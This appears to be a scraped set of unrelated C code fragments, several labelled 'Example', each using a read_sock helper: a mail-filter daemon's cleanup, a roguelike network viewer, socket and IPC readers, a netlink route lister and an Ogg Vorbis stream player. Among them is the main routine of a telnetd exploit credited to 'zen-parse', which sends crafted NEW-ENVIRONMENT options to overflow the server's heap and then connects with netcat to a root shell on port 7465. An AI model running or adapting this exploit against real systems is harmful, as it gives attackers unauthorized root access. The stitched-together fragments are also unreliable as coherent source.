        if (ATX != NULL) {
            nt_destroy(ATX->users);
            nt_destroy(ATX->recipients);
            nt_destroy(ATX->results);
            free(ATX);
            ATX = NULL;
            free(cmdline);
            cmdline = NULL;
            TTX->authenticated = 0;
            /* argc = 0; */
        }

        free(p);
        p = NULL;

    } /* while(1) */

    /* Close connection and return */

CLOSE:
    if (locked>=0)
        pthread_mutex_unlock(&TTX->DTX->connections[locked]->lock);
    if (fd)
        fclose(fd);
    buffer_destroy(TTX->packet_buffer);
    if (message)
        buffer_destroy(message);
    if (ATX != NULL) {
        nt_destroy(ATX->users);
        nt_destroy(ATX->recipients);
        nt_destroy(ATX->results);
    }
    free(ATX);
    free(cmdline);
    free(TTX);
    decrement_thread_count();
    pthread_exit(0);
    return 0;
}
Example #21
0
void browse_chuukei()
{
#ifndef MACINTOSH
	fd_set fdset;
	struct timeval tv;

	tv.tv_sec = 0;
	tv.tv_usec = WAIT;

	FD_ZERO(&fdset);
	FD_SET(sd, &fdset);

	Term_clear();
	Term_fresh();
	Term_xtra(TERM_XTRA_REACT, 0);

	while (1)
	{
		fd_set tmp_fdset;
		struct timeval tmp_tv;

		if (flush_ringbuf_client()) continue;

		tmp_fdset = fdset;
		tmp_tv = tv;

		/* ソケットにデータが来ているかどうか調べる */
		select(sd+1, &tmp_fdset, (fd_set *)NULL, (fd_set *)NULL, &tmp_tv);
		if (FD_ISSET(sd, &tmp_fdset) == 0)
		{
			Term_xtra(TERM_XTRA_FLUSH, 0);
			continue;
		}

		if (read_sock() < 0)
		{
			chuukei_client = FALSE;
		}

		/* 接続が切れた状態で書くべきデータがなくなっていたら終了 */
		if (!chuukei_client && fresh_queue.next == fresh_queue.tail ) break;
	}
#else
	Term_clear();
	Term_fresh();
	Term_xtra(TERM_XTRA_REACT, 0);

	while (1)
	{
		UInt32	unreadData = 0;
		int n;

		if (flush_ringbuf_client()) continue;

		/* ソケットにデータが来ているかどうか調べる */

		OTCountDataBytes(ep, &unreadData);
		if(unreadData <= 0 ){
			Term_xtra(TERM_XTRA_FLUSH, 0);
			continue;
		}
		if (read_sock() < 0)
		{
			chuukei_client = FALSE;
		}

		/* 接続が切れた状態で書くべきデータがなくなっていたら終了 */
		if (!chuukei_client && fresh_queue.next == fresh_queue.tail ) break;
	}
#endif /*MACINTOSH*/
}
main (int argc, char *argv[])
{
  int br, l, dosleep = 0;
  int percent = 0;
  char spin;
  unsigned char w;
  bzero (oldenv, sizeof (oldenv));
  argv++;
  dalen = strlen ("clarity.local");
  while (argv[0])
    {
      if (!strcmp (argv[0], "--pause"))
        dosleep = 1;

      if (!strcmp (argv[0], "--size") && argv[1])
        {
          mipl = atoi (argv[1]);
          argv++;
        }

      if (!strcmp (argv[0], "--name") && argv[1])
        {
          dalen = strlen (argv[1]);
          argv++;
        }
      argv++;
    }
  fprintf (stderr, "  o MiPl of %4d  o NameLen of %2d\n", mipl, dalen);
  if(dalen%3==0)
  {
   offsets=offset3;
  }
  else
  {
   ninbufoffset = mipl % 8192;
   offsets[11] += 32 * (mipl - ninbufoffset) / 8192;
   if (offsets[11] > 255)
     {
       fprintf (stderr, "  ! MiPl too big.", mipl, dalen);
       exit (1);
     }
   }
  sock_setup ();
  if (dosleep)
    {
      system ("sleep 1;ps aux|grep in.telnetd|grep -v grep");
      sleep (8);
    }

  dalen += strlen ("\r\n[ : yes]\r\n");
  fprintf (stderr, "o Sending IAC WILL NEW-ENVIRONMENT...\n");
  fflush (stderr);
  doo (5);
  will (39);
  fflush (dasock);
  read_sock ();
  fprintf (stderr, "o Setting up environment vars...\n");
  fflush (stderr);
  will (1);
  push_clean ();
  doenv ("USER", "zen-parse");
  doenv ("TERM", "zen-parse");
  will (39);
  fflush (dasock);
  fprintf (stderr, "o Doing overflows...\n");
  fflush (stderr);
  for (br = 0; (offsets[br] || offsets[br + 1]); br += 2)
    {
      fill (mipl + ENV + offsets[br], offsets[br + 1]);
      fflush (dasock);
      usleep (100000);
      read_sock ();
    }
  fprintf (stderr, "o Overflows done...\n");
  fflush (stderr);
  push_clean ();

  fprintf (stderr, "o Sending IACs to start login process...\n");
  fflush (stderr);
  wont (24);
  wont (32);
  wont (35);
  fprintf (dasock, "%s", tosend);
  will (1);
  push_heap_attack ();
  sleep (1);
  fprintf (stderr, "o Attempting to lauch netcat to localhost rootshell\n");
  execlp ("nc", "nc", "-v", "localhost", "7465", 0);
  fprintf (stderr,
           "o If the exploit worked, there should be an open port on 7465.\n");
  fprintf (stderr, "  It is a root shell. You should probably close it.\n");
  fflush (stderr);
  sleep (60);
  exit (0);
}
Example #23
0
/**
 * ソケット送受信
 *
 * @param[in] sock ソケット
 * @return なし
 */
st_client
client_loop(int sock)
{
    int ready = 0;                   /* select戻り値 */
    struct timespec timeout;         /* タイムアウト値 */
    sigset_t sigmask;                /* シグナルマスク */
    st_client status = EX_SUCCESS;   /* ステータス */
#ifdef _USE_SELECT
    fd_set fds, rfds;                /* selectマスク */
#else
    struct pollfd targets[MAX_POLL]; /* poll */
#endif /* _USE_SELECT */

    dbglog("start: sock=%d", sock);

    if (atexit(exit_memfree)) {
        outlog("atexit");
        return EX_FAILURE;
    }

#ifdef _USE_SELECT
    /* マスクの設定 */
    FD_ZERO(&fds);              /* 初期化 */
    FD_SET(sock, &fds);         /* ソケットをマスク */
    FD_SET(STDIN_FILENO, &fds); /* 標準入力をマスク */
#endif /* _USE_SELECT */

    /* シグナルマスクの取得 */
    sigmask = get_sigmask();

    /* タイムアウト値初期化 */
    (void)memset(&timeout, 0, sizeof(struct timespec));
    timeout.tv_sec = 1; /* 1秒 */
    timeout.tv_nsec = 0;

    do {
#ifdef _USE_SELECT
        (void)memcpy(&rfds, &fds, sizeof(fd_set)); /* マスクコピー */
        ready = pselect(sock + 1, &rfds,
                        NULL, NULL, &timeout, &sigmask);
#else
        targets[STDIN_POLL].fd = STDIN_FILENO;
        targets[STDIN_POLL].events = POLLIN;
        targets[SOCK_POLL].fd = sock;
        targets[SOCK_POLL].events = POLLIN;
        ready = ppoll(targets, MAX_POLL, &timeout, &sigmask);
#endif /* _USE_SELECT */
        if (ready < 0) {
            if (errno == EINTR) /* 割り込み */
                break;
            /* selectエラー */
            outlog("select=%d", ready);
            return EX_FAILURE;
        } else if (ready) {
#ifdef _USE_SELECT
            if (FD_ISSET(STDIN_FILENO, &fds)) {
                /* 標準入力レディ */
                status = send_sock(sock);
                if (status == EX_EMPTY)
                    continue;
                if (status)
                    return status;
            }
            if (FD_ISSET(sock, &fds)) {
                /* ソケットレディ */
                status = read_sock(sock);
                if (status)
                    return status;
            }
#else
            if (targets[STDIN_POLL].revents & POLLIN) {
                /* 標準入力レディ */
                status = send_sock(sock);
                if (status == EX_EMPTY)
                    continue;
                if (status)
                    return status;
            }
            if (targets[SOCK_POLL].revents & POLLIN) {
                /* ソケットレディ */
                status = read_sock(sock);
                if (status)
                    return status;
            }
#endif /* _USE_SELECT */
        } else { /* タイムアウト */
            continue;
        }
    } while (!g_sig_handled);

    return EX_SIGNAL;
}
Example #24
0
/**
 * List all entries in the routing table
 *
 * @param rth Route entry handler
 * @param arg Handler argument
 *
 * @return 0 if success, otherwise errorcode
 */
int net_rt_list(net_rt_h *rth, void *arg)
{
	union {
		uint8_t buf[BUFSIZE];
		struct nlmsghdr msg[1];
	} u;
	struct nlmsghdr *nlmsg;
	int sock, len, seq = 0, err = 0;

	if (!rth)
		return EINVAL;

	/* Create Socket */
	if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_ROUTE)) < 0) {
		DEBUG_WARNING("list: socket(): (%s)\n", strerror(errno));
		return errno;
	}

	/* Initialize the buffer */
	memset(u.buf, 0, sizeof(u.buf));

	/* point the header and the msg structure pointers into the buffer */
	nlmsg = u.msg;

	/* Fill in the nlmsg header*/
	nlmsg->nlmsg_len   = NLMSG_LENGTH(sizeof(struct rtmsg));
	nlmsg->nlmsg_type  = RTM_GETROUTE;
	nlmsg->nlmsg_flags = NLM_F_DUMP | NLM_F_REQUEST;
	nlmsg->nlmsg_seq   = seq++;
	nlmsg->nlmsg_pid   = getpid();

	/* Send the request */
	if (send(sock, nlmsg, nlmsg->nlmsg_len, 0) < 0) {
		err = errno;
		DEBUG_WARNING("list: write to socket failed (%s)\n",
			      strerror(err));
		goto out;
	}

	/* Read the response */
	if ((len = read_sock(sock, u.buf, sizeof(u.buf), seq, getpid())) < 0) {
		err = errno;
		DEBUG_WARNING("list: read from socket failed (%s)\n",
			      strerror(err));
		goto out;
	}

	/* Parse and print the response */
	for (;NLMSG_OK(nlmsg,(uint32_t)len);nlmsg = NLMSG_NEXT(nlmsg,len)) {
		struct net_rt rt;

		memset(&rt, 0, sizeof(struct net_rt));
		if (0 != rt_parse(nlmsg, &rt))
			continue;

#ifdef HAVE_INET6
		if (AF_INET6 == sa_af(&rt.dst)
		    && IN6_IS_ADDR_UNSPECIFIED(&rt.dst.u.in6.sin6_addr))
			continue;
#endif

		if (rth(rt.ifname, &rt.dst, rt.dstlen, &rt.gw, arg))
			break;
	}

 out:
	(void)close(sock);

	return err;
}
Example #25
0
Ipc_Status_t
ipc_transport_get_line (
     char               *str,    /* returns the result, null terminated    */
     int                *len,    /* length of str passed IN and passed OUT */
     Ipc_Wait_t         wait )   /* IN - wait or dont wait on incoming msg */
{
  int count = 0;                     /* number of bytes read                   */
  int message_length;            /* extracted from message header          */

  if (sock_state == IPC_SOCK_UNINITIALIZED) {
    fprintf (stderr,
	    "ERROR: IPC: Attempted to read from uninitialized socket\n");
    return IPC_STATUS_ERROR;
  }
  
  assert ((sock_state == IPC_SOCK_CONNECTED_TO_CLIENT) ||
	  (sock_state == IPC_SOCK_INITIALIZED));

  if (sock_state == IPC_SOCK_INITIALIZED) {
    /* We have an open socket but have not connected to a client.          */
    /* Accept a connection from a client.                                  */
    msg_stream = accept (sock_desc, (struct sockaddr *)0, (unsigned int *)0);

    if (msg_stream == -1) {
      fprintf (stderr, "ERROR: IPC: Server accepting request\n");
      perror ("ERROR: IPC");
      return IPC_STATUS_ERROR;
    }
    sock_state = IPC_SOCK_CONNECTED_TO_CLIENT;
  }
  /*-----------------------------------------------------------------------*/
  /* First read in the message header.                                     */
  {
    int flags;
    flags = fcntl(msg_stream, F_GETFL, NULL);    /* Blocking read mode     */

    if (wait == IPC_WAIT) {
      /* Block here and wait for the next message                          */
      count = read_sock (msg_stream, str, SOCK_MSG_HDR_LEN, wait, flags);
      if (count == 0) {
	/* EOF, will this ever happen?                                     */
	/* fprintf (stderr, "WARNING: IPC: Reached eof on socket\n");  */
	return handle_socket_eof ();
      }
    } else if (wait == IPC_NO_WAIT) {
      /* Read message, but do not wait if none available.                  */

      fcntl (msg_stream, F_SETFL, flags | O_NDELAY);
      count = read_sock (msg_stream, str, SOCK_MSG_HDR_LEN, wait, flags);

      if (count == 0) {
	/* EOF, will this ever happen?                                     */
	/* fprintf (stderr, "WARNING: IPC: Reached eof on socket\n");  */
	return handle_socket_eof ();
      } else if (count == -1) {
	if (errno == EWOULDBLOCK) {
	  return IPC_STATUS_NO_DATA;
	}
      }

    } else {
      /* Serious problem, since it is not reading anything.                */
      fprintf (stderr,
	       "ERROR: IPC: invalid wait arg to ipc_transport_get_line\n");
    }
  }
  
  /* Do more error checking on the read in values of the message header:   */
  if (count == -1) {
    fprintf (stderr, "ERROR: IPC: Reading from socket\n");
    perror ("ERROR: IPC");
    return IPC_STATUS_ERROR;
  } else if (str[0] != BOL_CHAR) {
    fprintf (stderr,
	     "ERROR: IPC: Did not find beginning of message header (%c)\n",
	     str[0]);
    return IPC_STATUS_ERROR;
  } else if ((message_length = (int) bytes_to_integer (str, 1)) == -1) {
    /* fprintf (stderr, "WARNING: IPC: Reached eof on socket\n");      */
    return handle_socket_eof ();
  } else if (message_length == 0) {
    *len = 0;
    return IPC_STATUS_NO_DATA;

/*  Invalid test... delete - wbk
  } else if (message_length > *len) {
    fprintf (stderr,
	     "ERROR: IPC: Buffer (%d) is too short for message (%d)\n",
	     *len, message_length);
    return IPC_STATUS_ERROR;
*/

  }

  /*-----------------------------------------------------------------------*/
  /* Now read in the message body.                                         */
  /* Always block here since the message header was already read and       */
  /* we must get the body.                                                 */

  *len = message_length;
  count = read_sock (msg_stream, str, message_length, IPC_WAIT, 0);
  if (count == 0) {
    /* EOF, will this ever happen? */
    /* fprintf (stderr,                                                    */
    /*          "WARNING: IPC: Reached eof in message body on socket\n");*/
    return handle_socket_eof ();
  } else if (count == -1) {
    fprintf (stderr, "ERROR: IPC: reading message body from socket\n");
    perror ("ERROR: IPC");
    return IPC_STATUS_ERROR;
  }
  
  /* Looks like we have a valid message here. Put in the string terminator. */
  *len = count;
  str[count] = '\0';

  return IPC_STATUS_OK;

}   /* end ipc_transport_get_line */
Example #26
0
static int play_vorbis(lua_State *lstate) {
	char buf[BLOCKSIZE];
	char *pt, *oggbuf, **comm, *mark;
	int n, sock, sr_err, port;
	const char *host, *mount;
	VORBIS_FEED *feed;
	lua_pushstring(lstate, "host");
	lua_gettable(lstate, -2);
	lua_pushstring(lstate, "port");
	lua_gettable(lstate, -3);
	lua_pushstring(lstate, "mount");
	lua_gettable(lstate, -4);
	mount = lua_tostring(lstate, -1);
	port = lua_tointeger(lstate, -2);
	host = lua_tostring(lstate, -3);
	sock = stream_connect(host, port, mount, buf, &mark);
	lua_pop(lstate, 3);
	if (sock == 0) {
		lua_pop(lstate, 1);
		return 0;
		}
	lua_pushstring(lstate, "intern");
	lua_gettable(lstate, -2);
	feed = (VORBIS_FEED *)lua_touserdata(lstate, -1);
	lua_pop(lstate, 1);
	feed->base.sock = sock;
	pthread_mutex_init(&(feed->base.thread_lock), NULL);
	pthread_cond_init(&(feed->base.data_ready), NULL);
	ogg_sync_init(&(feed->oy));
	oggbuf = ogg_sync_buffer(&(feed->oy), BLOCKSIZE);
	n = BLOCKSIZE - (mark - buf);
	memcpy(oggbuf, mark, n);
	read_sock(feed->base.sock, oggbuf + n, BLOCKSIZE - n);
	ogg_sync_wrote(&(feed->oy), BLOCKSIZE);
	if ((n = ogg_sync_pageout(&(feed->oy), &(feed->og))) != 1) {
		logmsg("out of data: %d\n", n);
		free_vorbis((FEED *)feed);
		lua_pop(lstate, 1);
		return 0;
		}
	ogg_stream_init(&(feed->os), ogg_page_serialno(&(feed->og)));
	vorbis_info_init(&(feed->vi));
	vorbis_comment_init(&(feed->vc));
	if (ogg_stream_pagein(&(feed->os), &(feed->og)) < 1) {
		logmsg("error reading first ogg page\n");
		//free_feed(feed);
		//return 0;
		}
	if (ogg_stream_packetout(&(feed->os), &(feed->op)) != 1) {
		logmsg("error reading first header packet\n");
		free_vorbis((FEED *)feed);
		lua_pop(lstate, 1);
		return 0;
		}
	if (vorbis_synthesis_headerin(&(feed->vi),
			&(feed->vc), &(feed->op)) < 0) {
		logmsg("stream is not vorbis\n");
		free_vorbis((FEED *)feed);
		lua_pop(lstate, 1);
		return 0;
		}
	vorbis_headers(feed);
	add_table(lstate, "info");
	add_table(lstate, "comments");
	comm = feed->vc.user_comments;
	while (*comm) {
		if ((pt = index(*comm, '=')) != NULL) {
			*pt++ = '\0';
			set_string(lstate, *comm, pt);
			}
		++comm;
		}
	lua_pop(lstate, 1); // comments
	feed->base.channels = feed->vi.channels;
	set_integer(lstate, "channels", feed->base.channels);
	set_integer(lstate, "srate", feed->vi.rate);
	lua_pop(lstate, 1); // info
	feed->base.cbuf = new_ringbuf(feed->vi.rate, feed->base.channels,
			BUFSECS, 0.333, 0.667);
	if (jack_sr != feed->vi.rate) {
		feed->base.converter = src_new(SRC_SINC_MEDIUM_QUALITY,
				feed->base.channels, &sr_err);
		feed->base.src_data_in = (float *)malloc(SRC_DATA_FRAMES *
				feed->base.channels * sizeof(float));
		feed->base.src_data.data_in = feed->base.src_data_in;
		feed->base.src_data_remain = 0;
		feed->base.src_data.src_ratio = jack_sr
					/ (double)feed->vi.rate;
		feed->base.src_data_out = (float *)malloc(
				(int)ceil(SRC_DATA_FRAMES *
				feed->base.channels * sizeof(float) *
				feed->base.src_data.src_ratio));
		}
	feed->base.init = 1;
	lua_pop(lstate, 1);
	pthread_create(&(feed->base.thread_id), NULL, vorbis_thread, feed);
	return 0;
	}